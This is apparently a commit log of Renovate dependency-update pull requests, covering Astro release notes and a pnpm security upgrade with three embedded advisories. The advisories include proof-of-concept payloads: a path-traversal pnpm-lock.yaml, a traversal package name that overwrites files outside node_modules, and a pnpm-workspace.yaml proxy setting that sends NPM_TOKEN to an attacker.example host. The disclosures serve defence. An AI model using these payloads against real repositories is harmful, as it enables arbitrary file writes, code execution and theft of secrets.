  When enabled, Astro can skip regenerating static pages from dynamic routes when both the page's module dependencies and its data cache key are unchanged from the previous build. This currently applies to pages returned from `getStaticPaths()` that include a `cacheKey`.

  ```js
  // astro.config.mjs
  import { defineConfig } from 'astro/config';

  export default defineConfig({
    experimental: {
      incrementalBuild: true,
    },
  });
  ```

  Return a `cacheKey` for each generated page from `getStaticPaths()`:

  ```astro
  ---
  export async function getStaticPaths() {
    const posts = await fetchPosts();

    return posts.map((post) => ({
      params: { slug: post.slug },
      props: { post },
      cacheKey: post.digest,
    }));
  }
  ---
  ```

  For incremental builds to skip rendering in CI, Astro's cache directory must be preserved between builds. Astro empties the output directory on each build and restores skipped pages from the cache directory, so only that directory needs to persist. For the default config, cache and restore `node_modules/.astro/` before running `astro build`.

  See the [experimental incremental static builds](https://docs.astro.build/en/reference/experimental-flags/incremental-build/) documentation for more information.

- [#&#8203;17084](https://github.com/withastro/astro/pull/17084) [`961bbe5`](961bbe5fdf) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds the optional `digest` property to content collection entries.

  Loaders can provide an opaque digest value that changes when an entry changes. This is now reflected in the `CollectionEntry` type returned by `getCollection()` and `getEntry()`, making it easier to detect content changes without re-hashing large entry bodies.

  ```astro
  ---
  import { getCollection } from 'astro:content';

  const posts = await getCollection('blog');

  for (const post of posts) {
    console.log(post.digest);
  }
  ---
  ```

  The property is optional because not every loader provides a digest. See [incremental static builds](https://docs.astro.build/en/reference/experimental-flags/incremental-build/) for how `digest` can be used as a `cacheKey`.

##### Patch Changes

- [#&#8203;17534](https://github.com/withastro/astro/pull/17534) [`5a5337e`](5a5337ea71) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves `logger.entrypoint` reference docs

- [#&#8203;17529](https://github.com/withastro/astro/pull/17529) [`d52a787`](d52a787b32) Thanks [@&#8203;QVinto](https://github.com/QVinto)! - Fixes `astro dev` crashing with `Invalid URL` when `--host` is set to a specific non-loopback address

  Vite only reports a `local` URL for loopback hosts. When the dev server was started with `--host <custom-address>` bound to a specific non-loopback address (a LAN or Tailscale IP, for example), the URL was reported under `network` and `local` was empty, so writing the dev lock file threw `Invalid URL` and killed a server that had already started successfully.

  The lock file URL now falls back to the network URL, and a server that exposes no URL at all is left untracked rather than being taken down by lock file bookkeeping.

- [#&#8203;17566](https://github.com/withastro/astro/pull/17566) [`296248c`](296248cb39) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `fontProviders.googleicons()` returning the full icon font (\~3.9MB) instead of only the requested glyphs when multiple `experimental.glyphs` are specified

- [#&#8203;17560](https://github.com/withastro/astro/pull/17560) [`ef45de1`](ef45de17d2) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `Astro.url.pathname` for non-index pages when using `build.format: 'preserve'`. Previously, a page like `src/pages/about-me.astro` would output to `dist/about-me.html` but `Astro.url.pathname` would incorrectly return `/about-me/` instead of `/about-me.html`.

- [#&#8203;17573](https://github.com/withastro/astro/pull/17573) [`0089f83`](0089f83632) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes a Content Layer build crash that could occur when another dependency causes an older version of `neotraverse` to be hoisted to the project root

- [#&#8203;17571](https://github.com/withastro/astro/pull/17571) [`116f700`](116f700d63) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes cookies set via `Astro.cookies.set()` inside a custom `404.astro` or `500.astro` error page being silently dropped from the final response

- [#&#8203;17579](https://github.com/withastro/astro/pull/17579) [`3ea55ce`](3ea55ce240) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Supports the `devEngines` field in package.json when detecting the package manager for install commands

- [#&#8203;17422](https://github.com/withastro/astro/pull/17422) [`e4e2037`](e4e20374f5) Thanks [@&#8203;jiwonyoon-dev](https://github.com/jiwonyoon-dev)! - Fixes `popover` being rendered as `popover="true"`/`popover="false"` on custom elements (tag names containing a hyphen). Per the Popover API, the attribute only accepts `"auto"`, `"manual"`, or being absent, so boolean values are now always rendered as a bare `popover` attribute (or omitted), regardless of the tag name.

</details>

---

### Configuration

📅 **Schedule**: (in timezone Europe/Amsterdam)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjI3MS4zIiwidGFyZ2V0QnJhbmNoIjoiZGV2ZWxvcG1lbnQiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIiwicmVub3ZhdGUiLCJzZWN1cml0eSIsInR5cGUvbWlub3IiXX0=-->

Reviewed-on: #5
feat(deps): update pnpm ( 11.8.0 ➔ 11.11.0 ) [security] (#1)
All checks were successful
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 2m25s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 2m27s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 2m36s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 2m57s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 2m43s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 1m33s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 1m31s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m34s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 21s
[Workflow] On Source Change / Release (push) Successful in 0s
52af7fab56
This PR contains the following updates:

| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Adoption](https://docs.renovatebot.com/merge-confidence/) | [Passing](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|---|---|
| [pnpm](https://github.com/pnpm/pnpm/tree/main/pnpm) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm/npm/pnpm)) | [`11.8.0` → `11.11.0`](https://renovatebot.com/diffs/npm/pnpm/11.8.0/11.11.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/pnpm/11.11.0?slim=true) | ![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/pnpm/11.11.0?slim=true) | ![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/pnpm/11.8.0/11.11.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/pnpm/11.8.0/11.11.0?slim=true) |

---

> ⚠️ **Warning**
>
> Some dependencies could not be looked up. Check the [Dependency Dashboard](issues/2) for more information.

🔒 **Security update**: prioritize review and verify the vulnerable component is actually deployed.

Merge Confidence badges are included where supported — low or neutral confidence warrants a manual impact check before merge.

`Released` is the upstream publish time. `—` means this datasource reports no release timestamp — normal for ghcr.io, quay.io and private/proxy registries — so `minimumReleaseAge` cannot hold the update back and it is eligible as soon as checks pass. A real date means the soak is enforced: add this update type's `minimumReleaseAge` to `Released` to get the eligibility moment.

---

### pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph
[CVE-2026-82392](https://nvd.nist.gov/vuln/detail/CVE-2026-82392) / [GHSA-c59q-g84q-2gj5](https://github.com/advisories/GHSA-c59q-g84q-2gj5)

<details>
<summary>More information</summary>

#### Details
##### Summary

The virtual store linker constructs package installation directories using `path.join(modules, pkgName)` where `pkgName` is extracted from lockfile `packages` keys via `dp.parse(depPath).name` without validation. A crafted `pnpm-lock.yaml` with traversal sequences in depPath keys (e.g., `../../../tmp/pwned@1.0.0`) causes package content to be written to arbitrary filesystem paths during `pnpm install`.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the `safeJoinModulesDir` containment helper was applied to the hoisted linker and `symlinkDependency` but NOT to the virtual store linker's `lockfileToDepGraph.ts:233`.

##### Details

##### Root Cause

`dp.parse()` at `pnpm11/deps/path/src/index.ts:135` extracts the package name as:
```typescript
const name = dependencyPath.substring(0, sepIndex)
```

This is a raw substring operation with zero validation that `name` is a valid npm package name. A depPath of `../../../tmp/pwned@1.0.0` yields `name = '../../../tmp/pwned'`.

##### Vulnerable Code Path

1. `pnpm-lock.yaml` → `lockfile.packages['../../../../../../../tmp/pwned@1.0.0']` (attacker-controlled lockfile key)
2. `nameVerFromPkgSnapshot(depPath, pkgSnapshot)` at `lockfile/utils/src/nameVerFromPkgSnapshot.ts:16` → calls `dp.parse(depPath)` → returns `{ name: '../../../../../../../tmp/pwned' }`
3. `lockfileToDepGraph.ts:232` → `modules = path.join(dirInVirtualStore, 'node_modules')`
4. `lockfileToDepGraph.ts:233` → `dir = path.join(modules, pkgName)` → resolves to `/tmp/pwned` (ESCAPES virtual store)
5. `storeController.importPackage(depNode.dir, ...)` → writes package content to the traversed path

##### Why Existing Defenses Don't Catch It

- **`depPathToFilename()`** — replaces `/` with `+` for the `dirInVirtualStore` path, but `pkgName` comes SEPARATELY from `dp.parse()` and is NOT passed through this function
- **`verifyLockfileResolutions()`** — validates dependency map keys (aliases) via `isValidDependencyAlias()`, but never validates the depPath keys themselves
- **Lockfile parser** — `yaml.load(lockfileRawContent)` with no schema validation on `packages` keys
- **`importPackage()`** — accepts `targetDir` and passes it directly to `cafsStore.importPackage(targetDir, ...)` with zero containment check
- **Integrity verification** — requires a real fetchable package but does not validate the destination path

##### Escalation to RCE (non-default config)

When `dangerouslyAllowAllBuilds: true` is configured (or the traversal package name is in the explicit `allowBuilds` list), the same traversed path is used in the rebuild phase at `after-install/src/index.ts:402,470`. The attacker's `postinstall` script then executes with the victim's shell access. Under default config, `allowBuild` returns false for unknown packages, limiting impact to arbitrary file write.

##### Also Affected (PnP linker)

When `nodeLinker: pnp` is configured, `lockfileToPackageRegistry()` at `lockfile/to-pnp/src/index.ts:105-110` uses the same unvalidated `dp.parse().name` in `packageLocation` construction, allowing the `.pnp.cjs` resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

##### Impact

An attacker who can commit a crafted `pnpm-lock.yaml` to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs `pnpm install`. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:
- `.git/hooks/pre-commit` — code execution on next git operation
- `~/.local/bin/` — binary hijacking
- Project source files — supply chain injection

##### Reproduction

Craft a `pnpm-lock.yaml`:
```yaml
lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0
```

Run `pnpm install` — package content is written to `/tmp/pwned/` instead of the virtual store.

##### Recommended Fix

Apply `safeJoinModulesDir` (or equivalent validation) at:
- `lockfileToDepGraph.ts:233` — `path.join(modules, pkgName)`
- `after-install/src/index.ts:402` — `path.join(pkgModulesDir(depPath), pkgInfo.name)`
- `lockfile/to-pnp/src/index.ts:105-110` — PnP `packageLocation`

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via `dp.parse()`.

##### Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (`lockfileToHoistedDepGraph.ts:222`) by adding `safeJoinModulesDir`. The same fix was NOT applied to the virtual store linker, which uses the identical `dp.parse().name → path.join()` pattern at `lockfileToDepGraph.ts:233`.

#### Severity
- CVSS Score: 7.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L`

#### References
- [https://github.com/pnpm/pnpm/security/advisories/GHSA-c59q-g84q-2gj5](https://github.com/pnpm/pnpm/security/advisories/GHSA-c59q-g84q-2gj5)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-82392](https://nvd.nist.gov/vuln/detail/CVE-2026-82392)
- [https://github.com/pnpm/pnpm/pull/12872](https://github.com/pnpm/pnpm/pull/12872)
- [https://github.com/pnpm/pnpm/pull/12890](https://github.com/pnpm/pnpm/pull/12890)
- [51300fd41c)
- [78e29fe558)
- [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm)
- [https://github.com/pnpm/pnpm/releases/tag/v10.34.5](https://github.com/pnpm/pnpm/releases/tag/v10.34.5)
- [https://github.com/pnpm/pnpm/releases/tag/v11.11.0](https://github.com/pnpm/pnpm/releases/tag/v11.11.0)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c59q-g84q-2gj5) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install
[CVE-2026-82393](https://nvd.nist.gov/vuln/detail/CVE-2026-82393) / [GHSA-vq4v-j7r6-jq4m](https://github.com/advisories/GHSA-vq4v-j7r6-jq4m)

<details>
<summary>More information</summary>

#### Details
##### Summary
When resolving a package, pnpm uses the resolved **manifest `name`** as a raw path segment for the isolated-linker import target. A tarball dependency whose `package.json` `name` is a scoped path traversal (`@x/../../…/<abs path>`) is therefore extracted **outside `node_modules`**, to an attacker-chosen absolute path, and can **overwrite existing files** there. Attacker controls the destination, filenames, and contents → arbitrary file write → **code execution** (e.g. `~/.zshrc`, `.git/hooks/pre-commit`, another package's code). Occurs during `pnpm install` **even with `--ignore-scripts`** (no lifecycle scripts run), defeating that safety.

Same class as the just-patched **GHSA-hwx4** (transitive-dependency *alias* traversal) and **GHSA-v23m** (`stage download` manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved **name**.

##### Root cause
- The isolated-linker import target is built with a raw `path.join(modules, <resolved name>)` in `installing/deps-resolver/src/resolvePeers.ts:706`, `installing/deps-resolver/src/index.ts:614`, and `deps/graph-builder/src/lockfileToDepGraph.ts:233` — **without** the `safeJoinModulesDir` guard used on the symlink/hoisted/bin paths (`installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222`). The store location is `node_modules/.pnpm/<id>/node_modules/<name>`, so a traversal `<name>` escapes.
- The only resolve-time name gate (`resolving/npm-resolver/src/pickPackage.ts:753`) rejects only *unscoped* names containing `/`, so a **scoped** `@x/../..` passes.

##### Steps to reproduce
Self-contained PoC (real `pnpm@11.9.0`; loopback tarball server; escape target is a throwaway temp dir):
```
npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@&#8203;x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts
```
Confirmed output (`repro/poc.mjs`, exit 0):
```
escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***
```

##### Remediation
Route the isolated-linker import-target joins (`resolvePeers.ts:706`, `deps-resolver/index.ts:614`, `lockfileToDepGraph.ts:233`) through `safeJoinModulesDir` (as the hoisted linker already does), and/or enforce `validate-npm-package-name` on the resolved manifest name (close the scoped-name gap at `pickPackage.ts:753`) so the import target rejects a traversal name and re-asserts containment before any write.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`

#### References
- [https://github.com/pnpm/pnpm/security/advisories/GHSA-vq4v-j7r6-jq4m](https://github.com/pnpm/pnpm/security/advisories/GHSA-vq4v-j7r6-jq4m)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-82393](https://nvd.nist.gov/vuln/detail/CVE-2026-82393)
- [https://github.com/pnpm/pnpm/pull/12872](https://github.com/pnpm/pnpm/pull/12872)
- [https://github.com/pnpm/pnpm/pull/12890](https://github.com/pnpm/pnpm/pull/12890)
- [51300fd41c)
- [78e29fe558)
- [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm)
- [https://github.com/pnpm/pnpm/releases/tag/v10.34.5](https://github.com/pnpm/pnpm/releases/tag/v10.34.5)
- [https://github.com/pnpm/pnpm/releases/tag/v11.11.0](https://github.com/pnpm/pnpm/releases/tag/v11.11.0)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vq4v-j7r6-jq4m) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml
[GHSA-vx52-2968-3vc6](https://github.com/advisories/GHSA-vx52-2968-3vc6)

<details>
<summary>More information</summary>

#### Details
##### Summary

pnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

##### Impact

An attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

##### Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

- pnpm 11.x: `>= 11.0.0, < 11.11.0`
- pnpm 10.x: `>= 10.7.0, < 10.34.5`

The Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.

##### Patches

- **pnpm 11.11.0** and later
- **pnpm 10.34.5** and later

The fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys.

##### Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing.

##### Proof of concept

```yaml

##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"
```

With `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

```js
process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined
```

Using `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

##### Credit

Reported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

#### Severity
- CVSS Score: 7.4 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

#### References
- [https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6](https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6)
- [https://github.com/pnpm/pnpm/pull/12871](https://github.com/pnpm/pnpm/pull/12871)
- [https://github.com/pnpm/pnpm/pull/12898](https://github.com/pnpm/pnpm/pull/12898)
- [36928beae9)
- [5a4daec4bd)
- [https://github.com/orgs/pnpm/discussions/13598](https://github.com/orgs/pnpm/discussions/13598)
- [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm)
- [https://github.com/pnpm/pnpm/releases/tag/v10.34.5](https://github.com/pnpm/pnpm/releases/tag/v10.34.5)
- [https://github.com/pnpm/pnpm/releases/tag/v11.11.0](https://github.com/pnpm/pnpm/releases/tag/v11.11.0)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vx52-2968-3vc6) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>pnpm/pnpm (pnpm)</summary>

### [`v11.11.0`](https://github.com/pnpm/pnpm/releases/tag/v11.11.0): pnpm 11.11

[Compare Source](https://github.com/pnpm/pnpm/compare/v11.10.0...v11.11.0)

#### Minor Changes

- [`508b8c2`](508b8c2): Added the `pnpm access` command for managing package access and visibility on the registry, supporting listing packages and collaborators, getting and setting package status and MFA requirements, and granting or revoking team access.

#### Patch Changes

- [`c70e33e`](c70e33e): Allow `allowBuilds` entries for git-hosted packages to match by repository URL without pinning the resolved commit hash. This lets trusted git repositories keep running their build scripts after branch updates without approving each new commit, while package-name-only rules still do not approve git-hosted artifacts.
- [`3067e4f`](3067e4f): Reduced peak memory usage during cold-cache dependency resolution. The metadata fetch is memoized for the whole resolution phase, and it was retaining each package's raw registry response body (used only to mirror the response to disk) for that entire time. The memoized cache now holds a body-less copy, so the raw body only lives as long as the call that writes the disk mirror. On large graphs that fetch full metadata (e.g. with `minimumReleaseAge` or `trustPolicy` enabled) this cuts peak RSS by roughly 30%, back in line with pnpm 10. The resolved lockfile is unchanged.
- [`51300fd`](51300fd): Prevent a crafted `pnpm-lock.yaml` from writing package content outside the virtual store. A dependency path key whose name reconstructs to a path-traversal sequence (e.g. `../../../tmp/x@1.0.0`) is now rejected by the isolated (virtual-store) linker and the Plug'n'Play resolver map, matching the containment already applied to the hoisted linker. Under the global virtual store, a traversal in the version-derived path segment (e.g. a snapshot `version: "../../x"`) is now rejected at `formatGlobalVirtualStorePath`, the single point every global-virtual-store slot path funnels through — closing the same escape in the isolated linker, the resolver's dependency-graph builder, and the config-dependency installer.
- [`f8058eb`](f8058eb): Reject symlinked `pnpm-lock.yaml` files when reading or writing the env lockfile document.
- [`9318a11`](9318a11): Allow `registries` and `namedRegistries` to be configured in the global `config.yaml` file.
- [`51300fd`](51300fd): Fixed a path traversal vulnerability where a dependency whose manifest `name` was a scoped path traversal (e.g. `@x/../../../<path>`) could be written outside `node_modules` to an attacker-controlled location during `pnpm install`, even with `--ignore-scripts`. The isolated linker now validates the package name before using it as a directory name, matching the existing protection in the hoisted linker.
- [`14332f0`](14332f0): Fail instead of silently removing an optional dependency's locked entries from `pnpm-lock.yaml` when the registry cannot resolve it. Previously, when registry metadata lacked a version that the lockfile already pinned (for example, a mirror that had not synced a recent release yet), `pnpm install` and `pnpm dedupe` silently dropped the optional dependency's entries — emptying maps such as the platform binaries of `@napi-rs/canvas` — so the lockfile differed between machines and frozen installs on other hosts had nothing to link [#&#8203;12853](https://github.com/pnpm/pnpm/issues/12853).
- [`fecfe83`](fecfe83): Fixed peer dependency resolution with `autoInstallPeers` when a workspace package depends on a version of a package that a transitive dependency's self-contained closure also provides for itself. The peer providers that are attached to the root project for reuse are no longer peer-resolved a second time in the root context, so packages inside such a closure no longer get their peers bound to the root project's incompatible version [#&#8203;4993](https://github.com/pnpm/pnpm/issues/4993).
- [`5a4daec`](5a4daec): `${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`, `namedRegistries`, and `pnprServer`.
- [`d1da02e`](d1da02e): `pnpm publish` no longer prints credentials when the target registry is configured with inline `user:pass@` credentials (e.g. `registry=https://user:pass@example.com/`). They are now redacted both from the "publishing to registry" line and from the OIDC (trusted publishing) failure messages.
- [`dcfc611`](dcfc611): `pnpm self-update` now honors `trustPolicy=no-downgrade`. It resolves the target pnpm version against full registry metadata, so it refuses to switch to a version whose supply-chain trust evidence is weaker than an earlier-published one, the same way a regular install does.
- [`a8ad82d`](a8ad82d): Register the `pn` alias in generated shell completion scripts.
- [`25bd5c3`](25bd5c3): Fixed standalone installer downgrades from pnpm v12 to v11.
- [`23996e9`](23996e9): `pnpm runtime set <name> <version>` now validates its arguments: the name must be `node`, `deno`, or `bun`, and the version must not contain a comma. Previously these were interpolated straight into a `pnpm add` selector, where an unsupported name or a comma (e.g. `node 22,is-positive`) could be misread as a list of packages or a local directory and install unintended packages or bins.

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://openai.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/openai_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/openai_light.svg" />
            <img src="https://pnpm.io/img/users/openai_dark.svg" width="160" alt="OpenAI" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank" rel="noopener noreferrer">
          <picture>
